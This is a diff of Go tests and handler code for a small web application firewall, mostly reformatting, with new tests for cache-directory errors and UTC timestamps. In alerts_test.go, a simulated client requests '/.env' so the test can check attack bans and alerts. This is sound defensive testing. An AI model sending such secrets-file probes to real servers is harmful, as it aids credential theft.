+		waiting[0].Event != "permanent_ban" {
+		t.Fatalf(
+			"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
+				"the webhook",
+			data,
+			err,
+		)
+	}
+}
+
 func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 	t.Parallel()
 
@@ -1129,7 +1256,8 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 		slackPost := slack.firstPost(t)
 		err := json.Unmarshal([]byte(slackPost.body), &message)
 
-		if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
+		if err != nil ||
+			!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
 			!strings.Contains(message.Text, "\nclient: "+client+"\n") {
 			t.Errorf("Slack was sent %s", slackPost.body)
 		}
@@ -1164,14 +1292,22 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
 
 	dir := t.TempDir()
 
-	err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
+	err := os.WriteFile(
+		filepath.Join(dir, "bans.json"),
+		[]byte("{\n"),
+		0o600,
+	)
 	if err != nil {
 		t.Fatalf("write bans.json: %v", err)
 	}
 
 	// The file ends at the newline that is the second byte of its first
 	// line.
-	wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
+	wantStartRefused(
+		t,
+		dir,
+		filepath.Join(dir, "bans.json")+", line 1, column 2: ",
+	)
 }
 
 func TestUnwritableStateDirStopsTheStart(t *testing.T) {
@@ -1181,6 +1317,29 @@ func TestUnwritableStateDirStopsTheStart(t *testing.T) {
 		"SWW_STATE_DIR cannot be written: ")
 }
 
+func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	ctx, stop := context.WithTimeout(t.Context(), waitLimit)
+	defer stop()
+
+	out := &output{}
+
+	status := run(ctx, map[string]string{
+		listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
+		cacheDir: filepath.Join(t.TempDir(), "missing"),
+	}, out)
+	if status != 1 {
+		t.Fatalf("exit status %d, want 1", status)
+	}
+
+	line := out.line(t, "msg", "cannot use the state and cache files")
+	if message, _ := line["error"].(string); !strings.HasPrefix(message,
+		"SWW_CACHE_DIR cannot be written: ") {
+		t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
+	}
+}
+
 // wantStartRefused runs sww with its state files in dir, and
 // checks that it stops at start, with an error that starts with want. If
 // it starts instead, it is stopped after waitLimit.
@@ -1199,11 +1358,15 @@ func wantStartRefused(t *testing.T, dir, want string) {
 		t.Fatalf("exit status %d, want 1", status)
 	}
 
-	line := out.line(t, "msg", "cannot use the state files")
+	line := out.line(t, "msg", "cannot use the state and cache files")
 	message, _ := line["error"].(string)
 
 	if !strings.HasPrefix(message, want) {
-		t.Errorf("start refused with %q, want an error starting %q", message, want)
+		t.Errorf(
+			"start refused with %q, want an error starting %q",
+			message,
+			want,
+		)
 	}
 }
 
@@ -1261,14 +1424,18 @@ func runUntilStopped(
 		exited <- run(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 	use("http://" + addr + "/")
 	stop()
 
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -1310,7 +1477,12 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
 
 	for name, value := range want {
 		if settings[name] != value {
-			t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
+			t.Errorf(
+				"starting line gives %s=%v, want %v",
+				name,
+				settings[name],
+				value,
+			)
 		}
 	}
 
@@ -1350,7 +1522,11 @@ func messages(t *testing.T, received string) []string {
 
 		_, message, ok := strings.Cut(record, header)
 		if !ok || !strings.HasPrefix(record, "<134>1 ") {
-			t.Fatalf("record %q, want priority <134> and header %q", record, header)
+			t.Fatalf(
+				"record %q, want priority <134> and header %q",
+				record,
+				header,
+			)
 		}
 
 		found = append(found, message+"\n")
@@ -1415,7 +1591,10 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 
 	for line := range strings.Lines(metrics) {
-		value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
+		value, found := strings.CutPrefix(
+			strings.TrimSpace(line),
+			series+" ",
+		)
 		if !found {
 			continue
 		}
@@ -1449,7 +1628,11 @@ func writeLookupDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
+		placed + "/32": {
+			ASN:     "AS64496",
+			ASName:  "Example Net",
+			Country: country,
+		},
 	})
 }
 
@@ -1487,7 +1670,8 @@ func onlyBan(t *testing.T, dir string) map[string]any {
 
 	path := filepath.Join(dir, "bans.json")
 
-	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
+	//nolint:gosec // a file in the test's directory
+	data, err := os.ReadFile(path)
 	if err != nil {
 		t.Fatalf("read bans.json: %v", err)
 	}
@@ -1529,7 +1713,11 @@ func wantStatus(t *testing.T, url, from string, status int) {
 // request, since sww may not watch its directory yet when it is
 // first written. It waits as long as that takes, so that a slow test
 // process cannot fail the test.
-func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
+func saveUntilAnswered(
+	t *testing.T,
+	path, content, url, from string,
+	status int,
+) {
 	t.Helper()
 
 	for {
@@ -1661,7 +1849,11 @@ func startWebhook(t *testing.T) *webhook {
 // waitFor waits until the webhook has been sent an alert for event that
 // it took, or, unless answered, failed, and returns it. It waits as long
 // as that takes, so that a slow test process cannot fail the test.
-func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
+func (w *webhook) waitFor(
+	t *testing.T,
+	event string,
+	answered bool,
+) webhookPost {
 	t.Helper()
 
 	for {

internal/sww/waf_test.go

@@ -9,11 +9,16 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"regexp"
 	"strings"
 	"syscall"
 	"testing"
 	"time"
 
+	// The time zone database, so that the process TestMainRunsWAF starts
+	// finds the zone TZ names on any host.
+	_ "time/tzdata"
+
 	"sneak.berlin/go/smallwebwaf/internal/sww"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
@@ -34,49 +39,122 @@ func TestMain(m *testing.M) {
 	os.Exit(sww.Main(testVersion))
 }
 
+// startProcess starts cmd and returns a channel that gets its exit status. As
+// the test ends, cmd is killed and the test waits for it to exit.
+func startProcess(t *testing.T, cmd *exec.Cmd) <-chan int {
+	t.Helper()
+
+	err := cmd.Start()
+	if err != nil {
+		t.Fatalf("start: %v", err)
+	}
+
+	exited := make(chan int, 1)
+	waitReturned := make(chan struct{})
+
+	go func() {
+		_ = cmd.Wait()
+		exited <- cmd.ProcessState.ExitCode()
+
+		close(waitReturned)
+	}()
+
+	t.Cleanup(func() {
+		_ = cmd.Process.Kill()
+
+		<-waitReturned
+	})
+
+	return exited
+}
+
 func TestMainRunsWAF(t *testing.T) {
 	t.Parallel()
 
+	// Kiritimati is 14 hours ahead of UTC; every time sww gives stays in UTC.
+	const zone = "Pacific/Kiritimati"
+
+	_, err := time.LoadLocation(zone)
+	if err != nil {
+		t.Fatalf("load %s: %v", zone, err)
+	}
+
 	binary, err := os.Executable()
 	if err != nil {
 		t.Fatalf("find the test binary: %v", err)
 	}
 
-	ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
+	dir := t.TempDir()
-	defer cancel()
-
 	out := &output{}
-	cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
+	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary)
 	cmd.Stdout = out
 
 	cmd.Env = append(os.Environ(),
+		"TZ="+zone,
 		commandForMain+"="+wafCommand,
 		listenAddr+"="+localhost+":0",
-		stateDir+"="+t.TempDir(),
+		stateDir+"="+dir,
+		cacheDir+"="+dir,
 		rulesDir+"="+t.TempDir(),
 		lookupSource+"=off")
 
-	err = cmd.Start()
+	exited := startProcess(t, cmd)
-	if err != nil {
-		t.Fatalf("start: %v", err)
-	}
 
-	t.Cleanup(func() {
+	starting := out.lineBeforeExit(t, "starting", exited)
-		_ = cmd.Process.Kill()
+	addr, _ := starting["address"].(string)
-		_ = cmd.Wait()
-	})
-
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
 	ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
 
+	// The files are written as sww stops.
 	err = cmd.Process.Signal(syscall.SIGTERM)
 	if err != nil {
 		t.Fatalf("signal: %v", err)
 	}
 
-	err = cmd.Wait()
+	select {
+	case status := <-exited:
+		if status != 0 {
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
+		}
+	case <-time.After(waitLimit):
+		t.Fatal("still running after being told to stop")
+	}
+
+	wantUTC(t, "the process line", starting["time"])
+	wantUTC(t, "the request line", out.line(t, "type", "request")["time"])
+
+	path := filepath.Join(dir, "clients.json")
+
+	//nolint:gosec // a file in the test's directory
+	clients, err := os.ReadFile(path)
 	if err != nil {
-		t.Errorf("exit: %v; output:\n%s", err, out.text())
+		t.Fatalf("read clients.json: %v", err)
+	}
+
+	stamp := regexp.MustCompile(`"\d{4}-\d\d-\d\dT[^"]*"`)
+
+	times := stamp.FindAllString(string(clients), -1)
+	if len(times) == 0 {
+		t.Errorf("clients.json holds no time:\n%s", clients)
+	}
+
+	for _, stored := range times {
+		wantUTC(t, "clients.json", strings.Trim(stored, `"`))
+	}
+}
+
+// wantUTC checks that value, a time read from the log line or file that
+// where names, is in UTC.
+func wantUTC(t *testing.T, where string, value any) {
+	t.Helper()
+
+	text, _ := value.(string)
+	if !strings.HasSuffix(text, "Z") {
+		t.Errorf("%s gives the time %v, want one in UTC", where, value)
 	}
 }
 
@@ -110,7 +188,11 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
 
 			for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
 				if !strings.Contains(stderr.String(), name) {
-					t.Errorf("stderr %q does not name %s", stderr.String(), name)
+					t.Errorf(
+						"stderr %q does not name %s",
+						stderr.String(),
+						name,
+					)
 				}
 			}
 
@@ -148,8 +230,13 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
 
 	if res.StatusCode != status ||
 		res.Header.Get(waf.DispositionHeader) != disposition {
-		t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
+		t.Errorf(
-			res.Header.Get(waf.DispositionHeader), status, disposition)
+			"answered %d with disposition %q, want %d with %q",
+			res.StatusCode,
+			res.Header.Get(waf.DispositionHeader),
+			status,
+			disposition,
+		)
 	}
 }
 
@@ -167,14 +254,18 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
 		exited <- run(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 	use(addr)
 	stop()
 
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")

internal/waf/abuseipdb.go

@@ -26,7 +26,11 @@ type abuseIPDB struct{}
 
 func (abuseIPDB) name() string { return "abuseipdb" }
 
-func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
+func (abuseIPDB) check(
+	ctx context.Context,
+	rq *request,
+	_ time.Time,
+) *verdict {
 	if rq.h.config.AbuseIPDBKey == "" {
 		return nil
 	}
@@ -42,8 +46,13 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
 
 	rq.abuseIPDBHit = true
 	rq.addTag(config.AbuseIPDBTag)
-	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
+	rq.noteHit(
-		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
+		bans.ReputationHit{
+			Source: reputation.AbuseIPDBSource,
+			Score:  &score,
+		},
+		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
+	)
 
 	if rq.h.config.ReputationAction != deny {
 		return nil

internal/waf/admin.go

@@ -31,7 +31,8 @@ var (
 	errNotBanToAdd = errors.New(
 		"the body is not a JSON object of netblock, duration and reason")
 	errNotNetblock = errors.New(
-		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
+		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
+	)
 	errMappedNetblock = errors.New(
 		"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
 	errZone        = errors.New("has a zone, which a netblock cannot have")
@@ -61,10 +62,18 @@ func (rq *request) answerAdmin() {
 
 	switch {
 	case token == "":
-		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+		http.Error(
+			rq.out,
+			http.StatusText(http.StatusNotFound),
+			http.StatusNotFound,
+		)
 	case !hasToken(rq.in, token):
 		rq.out.Header().Set("WWW-Authenticate", "Bearer")
-		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
+		http.Error(
+			rq.out,
+			http.StatusText(http.StatusUnauthorized),
+			http.StatusUnauthorized,
+		)
 	default:
 		answer()
 	}
@@ -150,7 +159,9 @@ func (rq *request) addBan() {
 // readBanToAdd reads the body of POST BansPath: a JSON object with
 // nothing but whitespace after it, in at most banBodyMaxBytes.
 func (rq *request) readBanToAdd() (banToAdd, error) {
-	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	data, err := io.ReadAll(
+		http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
+	)
 	rq.requestBytes = int64(len(data))
 
 	if err != nil {
@@ -170,7 +181,10 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
 	// Token returns io.EOF only when nothing but whitespace is left.
 	_, err = decoder.Token()
 	if !errors.Is(err, io.EOF) {
-		return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
+		return banToAdd{}, fmt.Errorf(
+			"%w: more follows the object",
+			errNotBanToAdd,
+		)
 	}
 
 	return toAdd, nil
@@ -185,7 +199,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	netblock, err := netip.ParsePrefix(value)
 	if err == nil {
 		if netblock.Addr().Is4In6() {
-			return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
+			return netip.Prefix{}, fmt.Errorf(
+				"netblock %q %w",
+				value,
+				errMappedNetblock,
+			)
 		}
 
 		return netblock, nil
@@ -195,7 +213,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	// 2001:db8::1%x/48 as part of the zone.
 	addr, err := netip.ParseAddr(value)
 	if err != nil {
-		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
+		return netip.Prefix{}, fmt.Errorf(
+			"netblock %q %w",
+			value,
+			errNotNetblock,
+		)
 	}
 
 	if addr.Zone() != "" {
@@ -214,7 +236,11 @@ func expiry(duration string, now time.Time) (time.Time, error) {
 
 	length, err := config.ParseDurationNotOff(duration)
 	if err != nil {
-		return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
+		return time.Time{}, fmt.Errorf(
+			"duration %q %w",
+			duration,
+			errNotDuration,
+		)
 	}
 
 	return now.Add(length), nil
@@ -233,7 +259,11 @@ func (rq *request) liftBans() {
 
 	lifted := rq.h.ledger.Lift(client, rq.h.now())
 	if len(lifted) == 0 {
-		http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
+		http.Error(
+			rq.out,
+			"no ban is active on "+client.String(),
+			http.StatusNotFound,
+		)
 
 		return
 	}
@@ -261,7 +291,9 @@ func (rq *request) showClient() {
 		return
 	}
 
-	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
+	answer := clientAnswer{
+		Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
+	}
 
 	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
 	if seen {
@@ -294,7 +326,11 @@ func (rq *request) answerBans(held []bans.Ban) {
 func (rq *request) answerJSON(value any) {
 	body, err := json.MarshalIndent(value, "", "    ")
 	if err != nil {
-		rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
+		rq.h.processLog.Error(
+			"encoding an answer failed",
+			"error",
+			err.Error(),
+		)
 		http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
 			http.StatusInternalServerError)
 

internal/waf/admin_test.go

@@ -32,20 +32,37 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	t.Parallel()
 
 	// The metrics token is set, and opens none of them.
-	s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
+	s, clk, server := startWithClock(
-	server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
+		t,
-		bans.Notes{})
+		"",
+		map[string]string{metricsToken: token},
+	)
+	server.Ledger.BanForLimit(
+		netip.MustParsePrefix(otherClient+"/32"),
+		clk.Now(),
+		bans.Notes{},
+	)
 	before := server.Ledger.Snapshot()
 
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
 		for _, e := range adminEndpoints() {
-			s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
+			s.ownEndpointRequest(
+				authorization,
+				e.method,
+				e.path,
+				e.body,
+				http.StatusNotFound,
+			)
 		}
 	}
 
 	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
-		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
+		t.Errorf(
+			"the bans are now\n%+v\nwant them unchanged\n%+v",
+			after,
+			before,
+		)
 	}
 }
 
@@ -67,22 +84,44 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		for _, authorization := range []string{
 			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
 		} {
-			got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
+			got := s.ownEndpointRequest(
-				http.StatusUnauthorized)
+				authorization,
+				e.method,
+				e.path,
+				e.body,
+				http.StatusUnauthorized,
+			)
 			if got.header.Get("WWW-Authenticate") != "Bearer" {
-				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
+				t.Errorf(
-					e.method, e.path, authorization)
+					"%s %s with %q was answered without WWW-Authenticate: Bearer",
+					e.method,
+					e.path,
+					authorization,
+				)
 			}
 		}
 
-		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
-			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
+			after,
-				e.method, e.path, after, before)
+			before,
+		) {
+			t.Errorf(
+				"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
+				e.method,
+				e.path,
+				after,
+				before,
+			)
 		}
 
 		got := s.admin(e.method, e.path, e.body, http.StatusOK)
 		if got.header.Get("Content-Type") != "application/json" {
-			t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
+			t.Errorf(
+				"%s %s answered %q",
+				e.method,
+				e.path,
+				got.header.Get("Content-Type"),
+			)
 		}
 	}
 
@@ -121,7 +160,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
 		http.StatusOK), want)
 
-	line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	if line.BanExpires != requestlog.FormatTime(expires) {
 		t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
 	}
@@ -129,7 +172,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	// Its notes count the request it refused.
 	want.Notes.Requests, want.Notes.Refused = 1, 1
 
-	wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
+	wantBans(
+		t,
+		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
+		want,
+	)
 
 	// Ten minutes on, lifting the bans on client lifts that one, which is
 	// kept, marked lifted.
@@ -141,10 +188,19 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
 		http.StatusOK), want)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
+	wantBans(
+		t,
+		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
+		want,
+	)
 
 	// No ban on it is active any more.
-	s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
+	s.admin(
+		http.MethodDelete,
+		waf.BansPath+"/"+client,
+		"",
+		http.StatusNotFound,
+	)
 }
 
 func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -173,7 +229,9 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 		body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
 			"\r\n"
 		want := state.BanEntry{
-			Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
+			Netblock: netip.MustParsePrefix(
+				tc.want,
+			), Start: start, Cause: bans.CauseAdmin,
 		}
 
 		if tc.length != 0 {
@@ -181,15 +239,22 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 			want.Expires = &expires
 		}
 
-		wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
+		wantBans(
-			want)
+			t,
+			s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
+			want,
+		)
 	}
 }
 
 func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
+	s, _, server := startWithClock(
+		t,
+		"",
+		map[string]string{adminToken: adminSecret},
+	)
 
 	for _, tc := range []struct{ body, want string }{
 		{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -254,7 +319,12 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 		got := s.admin(http.MethodPost, waf.BansPath, tc.body,
 			http.StatusBadRequest)
 		if !strings.Contains(string(got.body), tc.want) {
-			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
+			t.Errorf(
+				"%.80s was answered %q, want it to say %q",
+				tc.body,
+				got.body,
+				tc.want,
+			)
 		}
 	}
 
@@ -276,7 +346,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// limit of two a minute, and bans it.
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 
 	// Asked about by its address in IPv6 form too.
 	for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -302,7 +376,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 		if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
 			got.Bans[0].Reason != "requests per minute over the limit of 2" ||
 			got.Bans[0].Notes.Count != 3 {
-			t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
+			t.Errorf(
+				"%s: bans %+v, want the one for the broken limit",
+				addr,
+				got.Bans,
+			)
 		}
 	}
 
@@ -310,7 +388,9 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// known.
 	got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
 		http.StatusOK)
-	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
+	if string(
+		got.body,
+	) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
 		t.Errorf("an unknown client is answered\n%s", got.body)
 	}
 
@@ -329,7 +409,13 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	})
 
 	for _, e := range adminEndpoints() {
-		s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
+		s.ownEndpointRequest(
+			"",
+			e.method,
+			e.path,
+			e.body,
+			http.StatusUnauthorized,
+		)
 	}
 
 	if held := server.Ledger.Snapshot(); len(held) != 0 {

internal/waf/alerts_test.go

@@ -46,7 +46,10 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
 	}, requestlog.FormatTime(start.Add(time.Hour))))
 
 	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
-		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
+		t.Errorf(
+			"the alert's notes are %+v, want those of the broken limit",
+			ban.Notes,
+		)
 	}
 }
 
@@ -62,7 +65,12 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	// The probe bans the client for seven days, and its next request makes
 	// the ban permanent. The request after that changes nothing.
-	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	s.request(
+		client,
+		"/.env",
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 
 	attackBan := server.Ledger.Bans(netblock)[0]
 
@@ -83,15 +91,27 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	otherBans := server.Ledger.Bans(other)
 
-	wantAlerts(t, queue,
+	wantAlerts(
+		t,
+		queue,
 		attackAlert(alerts.EventBan, start, client, attackBan,
 			requestlog.FormatTime(start.Add(7*24*time.Hour))),
 		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
 			permanentBan, "permanent"),
-		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
+		attackAlert(
-			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
+			alerts.EventBan,
-		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
+			start.Add(time.Minute),
-			otherClient, otherBans[1], "permanent"),
+			otherClient,
+			otherBans[0],
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
+		),
+		attackAlert(
+			alerts.EventPermanentBan,
+			start.Add(time.Minute+7*24*time.Hour),
+			otherClient,
+			otherBans[1],
+			"permanent",
+		),
 	)
 }
 
@@ -108,7 +128,11 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	// A ban for a clear sign of attack, which a request under it would make
 	// permanent.
 	group := netip.MustParsePrefix(ipv6Group)
-	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
+	attackBan, _ := server.Ledger.BanForAttack(
+		group,
+		start,
+		bans.Notes{RuleID: "probe"},
+	)
 
 	// The third request breaks the limit, and so does the fourth, within the
 	// cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -123,8 +147,12 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	held := server.Ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
 		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
-		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
+		t.Errorf(
-			"for the attack alone, as it was", held, line.BanExpires)
+			"the ledger holds %+v, and the log line gives %s, want the ban "+
+				"for the attack alone, as it was",
+			held,
+			line.BanExpires,
+		)
 	}
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -138,21 +166,35 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 
 	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
 		attackNotes.Request.Path != "/.env" {
-		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
+		t.Errorf(
-			"of the probe", limitNotes, attackNotes)
+			"the notes are %+v and %+v, want those of the broken limit and "+
+				"of the probe",
+			limitNotes,
+			attackNotes,
+		)
 	}
 
 	// Each alert is the one enforce mode would have raised, with mode
 	// observe in its detail.
 	want := []alerts.Alert{
 		banAlert(alerts.EventBan, start, client, bans.Ban{
-			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+			Netblock: netip.MustParsePrefix(
+				client + "/32",
+			), Cause: bans.CauseLimit,
 			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
 		}, requestlog.FormatTime(start.Add(time.Hour))),
 		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
-			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
+			Netblock: netip.MustParsePrefix(
+				otherClient + "/32",
+			), Notes: attackNotes,
 		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
-		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
+		attackAlert(
+			alerts.EventPermanentBan,
+			start,
+			ipv6Client,
+			attackBan,
+			permanent,
+		),
 	}
 	for _, alert := range want {
 		alert.Detail["mode"] = observe
@@ -180,7 +222,12 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
 	// The other client's first probe raises the second. Its second probe is
 	// within the cooldown.
 	for range 2 {
